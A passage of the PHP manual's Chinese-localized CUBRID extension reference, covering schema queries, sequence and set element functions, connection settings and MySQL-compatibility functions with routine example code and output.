The cubrid_schema() function is used to get the requested schema information from database. To get information about specific class, set the class_name, to get information about specific attribute (can be used only with CUBRID_SCH_ATTR_PRIVILEGE), set the attr_name.

The result of the cubrid_schema() function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
CUBRID_SCH_CLASS | 1 | NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_VCLASS | 1 | NAME |
 | 2 | TYPE | 1:vclass
CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
CUBRID_SCH_ATTRIBUTE / CUBRID_SCH_CLASS_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
CUBRID_SCH_METHOD / CUBRID_SCH_CLASS_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
CUBRID_SCH_SUPERCLASS / CUBRID_SCH_DIRECT_SUPER_CLASS / CUBRID_SCH_SUBCLASS | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
CUBRID_SCH_CLASS_PRIVILEGE / CUBRID_SCH_ATTR_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
CUBRID_SCH_IMPORTED_KEYS / CUBRID_SCH_EXPORTED_KEYS / CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

参数

conn_identifier

Connection identifier.

schema_type

Schema data that you want to know.

class_name

Class you want to know the schema of.

attr_name

Attribute you want to know the schema of.

返回值

Array containing the schema information, when process is successful, 或者在失败时返回 false.

更新日志

版本 | 说明
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

示例

Example #1 cubrid_schema() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

printf("\n--- Primary Key ---\n");
$pk = cubrid_schema($conn, CUBRID_SCH_PRIMARY_KEY, "game");
var_dump($pk);

printf("\n--- Foreign Keys ---\n");
$fk = cubrid_schema($conn, CUBRID_SCH_IMPORTED_KEYS, "game");
var_dump($fk);

printf("\n--- Column Attribute ---\n");
$attr = cubrid_schema($conn, CUBRID_SCH_ATTRIBUTE, "stadium", "area");
var_dump($attr);

cubrid_disconnect($conn);
?>

以上示例会输出：

--- Primary Key ---
array(3) {
  [0]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "3"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [1]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "2"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [2]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(9) "host_year"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
}

--- Foreign Keys ---
array(2) {
  [0]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(7) "athlete"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(20) "fk_game_athlete_code"
    ["PK_NAME"]=>
    string(15) "pk_athlete_code"
  }
  [1]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(5) "event"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(18) "fk_game_event_code"
    ["PK_NAME"]=>
    string(13) "pk_event_code"
  }
}

--- Column Attribute ---
array(1) {
  [0]=>
  array(13) {
    ["ATTR_NAME"]=>
    string(4) "area"
    ["DOMAIN"]=>
    string(1) "7"
    ["SCALE"]=>
    string(1) "2"
    ["PRECISION"]=>
    string(2) "10"
    ["INDEXED"]=>
    string(1) "0"
    ["NON_NULL"]=>
    string(1) "0"
    ["SHARED"]=>
    string(1) "0"
    ["UNIQUE"]=>
    string(1) "0"
    ["DEFAULT"]=>
    NULL
    ["ATTR_ORDER"]=>
    string(1) "4"
    ["CLASS_NAME"]=>
    string(7) "stadium"
    ["SOURCE_CLASS"]=>
    string(7) "stadium"
    ["IS_KEY"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Delete an element from sequence type column using OID

  • ? cubrid_schema
  • cubrid_seq_insert ?
  • PHP Manual
  • CUBRID 函数
  • Delete an element from sequence type column using OID

cubrid_seq_drop

(PECL CUBRID >= 8.3.0)

cubrid_seq_drop — Delete an element from sequence type column using OID

说明

cubrid_seq_drop(
resource $conn_identifier,
string $oid,
string $attr_name,
int $index
): bool

The cubrid_seq_drop() function is used to delete an element you request from the given sequence type attribute in the database.

参数

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to delete an element from.

index

Index of the element that you want to delete (1-based).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_seq_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_drop($conn, $oid, "c", 4);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(3) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
}

参见

  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Insert an element to a sequence type column using OID

  • ? cubrid_seq_drop
  • cubrid_seq_put ?
  • PHP Manual
  • CUBRID 函数
  • Insert an element to a sequence type column using OID

cubrid_seq_insert

(PECL CUBRID >= 8.3.0)

cubrid_seq_insert — Insert an element to a sequence type column using OID

说明

cubrid_seq_insert(
resource $conn_identifier,
string $oid,
string $attr_name,
int $index,
string $seq_element
): bool

The cubrid_col_insert() function is used to insert an element to a sequence type attribute in a requested location.

参数

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an instance to.

index

Location of the element, you want to insert the element to (1-based).

seq_element

Content of the element that you want to insert.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_seq_insert() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_insert($conn, $oid, "c", 5, "44");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(5) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
  [4]=>
  string(2) "44"
}

参见

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Update the element value of sequence type column using OID

  • ? cubrid_seq_insert
  • cubrid_set_add ?
  • PHP Manual
  • CUBRID 函数
  • Update the element value of sequence type column using OID

cubrid_seq_put

(PECL CUBRID >= 8.3.0)

cubrid_seq_put — Update the element value of sequence type column using OID

说明

cubrid_seq_put(
resource $conn_identifier,
string $oid,
string $attr_name,
int $index,
string $seq_element
): bool

The cubrid_seq_put() function is used to update the content of the requested element in a sequent type attribute using OID.

参数

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to update an element.

index

Index (1-based) of the element that you want to update.

seq_element

New content that you want to use for the update.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_seq_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_put($conn, $oid, "c", 1, "111");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(4) {
  [0]=>
  string(3) "111"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}

参见

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Insert a single element to set type column using OID

  • ? cubrid_seq_put
  • cubrid_set_autocommit ?
  • PHP Manual
  • CUBRID 函数
  • Insert a single element to set type column using OID

cubrid_set_add

(PECL CUBRID >= 8.3.0)

cubrid_set_add — Insert a single element to set type column using OID

说明

cubrid_set_add(
resource $conn_identifier,
string $oid,
string $attr_name,
string $set_element
): bool

The cubrid_set_add() function is used to insert a single element to a set type attribute (set, multiset, sequence) you requested.

参数

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an element.

set_element

Content of the element you want to insert.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_set_add() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_add($conn, $oid, "b", "4");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
  [3]=>
  string(1) "4"
}

参见

  • cubrid_seq_drop() - Delete an element from sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Set autocommit mode of the connection

  • ? cubrid_set_add
  • cubrid_set_db_parameter ?
  • PHP Manual
  • CUBRID 函数
  • Set autocommit mode of the connection

cubrid_set_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_set_autocommit — Set autocommit mode of the connection

说明

cubrid_set_autocommit(resource $conn_identifier, bool $mode): bool

The cubrid_set_autocommit() function is used to set the CUBRID database auto-commit mode of the current database connection.

In CUBRID PHP, auto-commit mode is disabled by default for transaction management. When auto-commit mode is truned from off to on, any pending work is automatically committed.

参数

conn_identifier

Connection identifier.

mode

Auto-commit mode. The following constants can be used:

  • CUBRID_AUTOCOMMIT_FALSE
  • CUBRID_AUTOCOMMIT_TRUE

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Sets the CUBRID database parameters

  • ? cubrid_set_autocommit
  • cubrid_set_drop ?
  • PHP Manual
  • CUBRID 函数
  • Sets the CUBRID database parameters

cubrid_set_db_parameter

(PECL CUBRID >= 8.4.0)

cubrid_set_db_parameter — Sets the CUBRID database parameters

说明

cubrid_set_db_parameter(resource $conn_identifier, int $param_type, int $param_value): bool

The cubrid_set_db_parameter() function is used to set the CUBRID database parameters. It can set the following CUBRID database parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT

Note:

The auto-commit mode can be set by using cubrid_set_autocommit().

参数

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

param_type

Database parameter type.

param_value

Isolation level value (1-6) or lock timeout (in seconds) value.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_get_db_parameter() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$params = cubrid_get_db_parameter($conn);
var_dump($params);

cubrid_set_autocommit($conn, CUBRID_AUTOCOMMIT_TRUE);
cubrid_set_db_parameter($conn, CUBRID_PARAM_ISOLATION_LEVEL, 2);

$params_new = cubrid_get_db_parameter($conn);
var_dump($params_new);

cubrid_disconnect($conn);
?>

以上示例会输出：

array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(3)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(0)
}
array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(2)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(1)
}

参见

  • cubrid_get_db_parameter() - Returns the CUBRID database parameters
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Delete an element from set type column using OID

  • ? cubrid_set_db_parameter
  • cubrid_set_query_timeout ?
  • PHP Manual
  • CUBRID 函数
  • Delete an element from set type column using OID

cubrid_set_drop

(PECL CUBRID >= 8.3.0)

cubrid_set_drop — Delete an element from set type column using OID

说明

cubrid_set_drop(
resource $conn_identifier,
string $oid,
string $attr_name,
string $set_element
): bool

The cubrid_set_drop() function is used to delete an element that you request from the given set type (set, multiset) attribute of the database.

参数

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to delete an element from.

set_element

Content of the element you want to delete.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_set_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_drop($conn, $oid, "b", "1");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "3"
}

参见

  • cubrid_set_add() - Insert a single element to set type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Set the timeout time of query execution

  • ? cubrid_set_drop
  • cubrid_version ?
  • PHP Manual
  • CUBRID 函数
  • Set the timeout time of query execution

cubrid_set_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_set_query_timeout — Set the timeout time of query execution

说明

cubrid_set_query_timeout(resource $req_identifier, int $timeout): bool

The cubrid_set_query_timeout() function is used to set the timeout time of query execution.

参数

req_identifier

Request identifier.

timeout

Timeout time in milliseconds.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • cubrid_get_query_timeout() - Get the query timeout value of the request

User Contributed Notes

There are no user contributed notes for this page.


Get the CUBRID PHP module's version

  • ? cubrid_set_query_timeout
  • CUBRID MySQL 兼容性函数 ?
  • PHP Manual
  • CUBRID 函数
  • Get the CUBRID PHP module's version

cubrid_version

(PECL CUBRID >= 8.3.0)

cubrid_version — Get the CUBRID PHP module's version

说明

cubrid_version(): string

The cubrid_version() function is used to get the CUBRID PHP module's version.

参数

此函数没有参数。

返回值

Version information (eg. "8.3.1.0001").

示例

Example #1 cubrid_version() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb", "dba");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

以上示例会输出：

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参见

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.


CUBRID MySQL 兼容性函数

Table of Contents

  • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
  • cubrid_client_encoding — Return the current CUBRID connection charset
  • cubrid_close — Close CUBRID connection
  • cubrid_data_seek — Move the internal row pointer of the CUBRID result
  • cubrid_db_name — Get db name from results of cubrid_list_dbs
  • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error — Get the error message
  • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
  • cubrid_fetch_field — Get column information from a result and return as an object
  • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
  • cubrid_fetch_object — Fetch the next row and return it as an object
  • cubrid_fetch_row — Return a numerical array with the values of the current row
  • cubrid_field_flags — Return a string with the flags of the given field offset
  • cubrid_field_len — Get the maximum length of the specified field
  • cubrid_field_name — Return the name of the specified field index
  • cubrid_field_seek — Move the result set cursor to the specified field offset
  • cubrid_field_table — Return the name of the table of the specified field
  • cubrid_field_type — Return the type of the column corresponding to the given field offset
  • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
  • cubrid_num_fields — Return the number of columns in the result set
  • cubrid_ping — Ping a server connection or reconnect if there is no connection
  • cubrid_query — Send a CUBRID query
  • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
  • cubrid_result — Return the value of a specific field in a specific row
  • cubrid_unbuffered_query — Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.


Return the number of rows affected by the last SQL statement

  • ? CUBRID MySQL 兼容性函数
  • cubrid_client_encoding ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the number of rows affected by the last SQL statement

cubrid_affected_rows

(PECL CUBRID >= 8.3.0)

cubrid_affected_rows — Return the number of rows affected by the last SQL statement

说明

cubrid_affected_rows(resource $conn_identifier = ?): int
cubrid_affected_rows(resource $req_identifier = ?): int

The cubrid_affected_rows() function is used to get the number of rows affected by the SQL statement (INSERT, DELETE, UPDATE).

参数

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opend by cubrid_connect() is assumed.

req_identifier

Request Identifier, could be returned from either cubrid_prepare() or cubrid_execute(). If the request identifier is not specified, the last identifier requested by cubrid_prepare() or cubrid_execute() is assumed.

返回值

Number of rows affected by the SQL statement, when process is successful.

-1, when SQL statement is not INSERT, DELETE or UPDATE.

false, when the request identifier is not specified, and there is no last request.

示例

Example #1 cubrid_affected_rows() example

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
cubrid_execute($conn, "DROP TABLE IF EXISTS cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d varchar)");
$sql_stmt = "INSERT INTO cubrid_test(d) VALUES('php-test')";
$req = cubrid_prepare($conn, $sql_stmt);

for ($i = 0; $i < 10; $i++) {
cubrid_execute($req);
}
cubrid_commit($conn);

$req = cubrid_execute($conn, "DELETE FROM cubrid_test WHERE d='php-test'", CUBRID_ASYNC);
var_dump(cubrid_affected_rows());
var_dump(cubrid_affected_rows($conn));
var_dump(cubrid_affected_rows($req));

cubrid_disconnect($conn);

print "done!";
?>

以上示例会输出：

Rows deleted: 5

参见

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Return the current CUBRID connection charset

  • ? cubrid_affected_rows
  • cubrid_close ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the current CUBRID connection charset

cubrid_client_encoding

(PECL CUBRID >= 8.3.1)

cubrid_client_encoding — Return the current CUBRID connection charset

说明

cubrid_client_encoding(resource $conn_identifier = ?): string

This function returns the current CUBRID connection charset and is similar to the CUBRID function cubrid_get_charset().

参数

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

返回值

A string that represents the CUBRID connection charset; on success.

false on failure.

示例

Example #1 cubrid_client_encoding() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_client_encoding($con));

?>

以上示例会输出：

CUBRID current charset: iso8859-1

参见

  • cubrid_get_charset() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.


Close CUBRID connection

  • ? cubrid_client_encoding
  • cubrid_data_seek ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Close CUBRID connection

cubrid_close

(PECL CUBRID >= 8.3.1)

cubrid_close — Close CUBRID connection

说明

cubrid_close(resource $conn_identifier = ?): bool

The cubrid_close() function ends the transaction currently in process, closes the connection handle and disconnects from server. If there is any request handles not closed yet at this point, they will be closed. It is similar to the CUBRID function cubrid_disconnect().

参数

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返回值

true, when process is successful.

false, when process is unsuccessful.

示例

Example #1 cubrid_close() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
echo "connected successfully";
$req = cubrid_execute ( $con, "insert into person values(1,'James')");
if ($req) {
cubrid_close_request ($req);
cubrid_commit ($con);
} else {
cubrid_rollback ($con);
}
cubrid_close ($con);
}
?>

参见

  • cubrid_disconnect() - Close a database connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.


Move the internal row pointer of the CUBRID result

  • ? cubrid_close
  • cubrid_db_name ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Move the internal row pointer of the CUBRID result

cubrid_data_seek

(PECL CUBRID >= 8.3.0)

cubrid_data_seek — Move the internal row pointer of the CUBRID result

说明

cubrid_data_seek(resource $result, int $row_number): bool

This function performs the moving of the internal row pointer of the CUBRID result (associated with the specified result identifier) to point to a specific row number. There are functions, such as cubrid_fetch_assoc(), which use the current stored value of row number.

参数

result

The result.

row_number

This is the desired row number of the new result pointer.

返回值

Returns true on success or false on failure.

示例

Example #1 cubrid_data_seek() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_data_seek($req, 0);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 2);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 4);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}
array(2) {
  [0]=>
  string(1) "S"
  [1]=>
  string(6) "Silver"
}

User Contributed Notes

There are no user contributed notes for this page.


Get db name from results of cubrid_list_dbs

  • ? cubrid_data_seek
  • cubrid_errno ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Get db name from results of cubrid_list_dbs

cubrid_db_name

(PECL CUBRID >= 8.3.1)

cubrid_db_name — Get db name from results of cubrid_list_dbs

说明

cubrid_db_name(array $result, int $index): string

Retrieve the database name from a call to cubrid_list_dbs().

参数

result

The result pointer from a call to cubrid_list_dbs().

index

The index into the result set.

返回值

Returns the database name on success, and false on failure. If false is returned, use cubrid_error() to determine the nature of the error.

示例

Example #1 cubrid_db_name() example

<?php
error_reporting(E_ALL);

$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$db_list = cubrid_list_dbs($conn);

$i = 0;
$cnt = count($db_list);
while ($i < $cnt) {
echo cubrid_db_name($db_list, $i) . "\n";
$i++;
}
?>

以上示例会输出：

demodb

参见

  • cubrid_list_dbs() - Return an array with the list of all existing CUBRID databases

User Contributed Notes

There are no user contributed notes for this page.


Return the numerical value of the error message from previous CUBRID operation

  • ? cubrid_db_name
  • cubrid_error ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the numerical value of the error message from previous CUBRID operation

cubrid_errno

(PECL CUBRID >= 8.3.1)

cubrid_errno — Return the numerical value of the error message from previous CUBRID operation

说明

cubrid_errno(resource $conn_identifier = ?): int

Returns the error number from the last CUBRID function.

The cubrid_errno() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

参数

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返回值

Returns the error number from the last CUBRID function, or 0 (zero) if no error occurred.

示例

Example #1 cubrid_errno() example

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
while (list ($id, $name) = cubrid_fetch($req))
echo $id, $name;
} else {
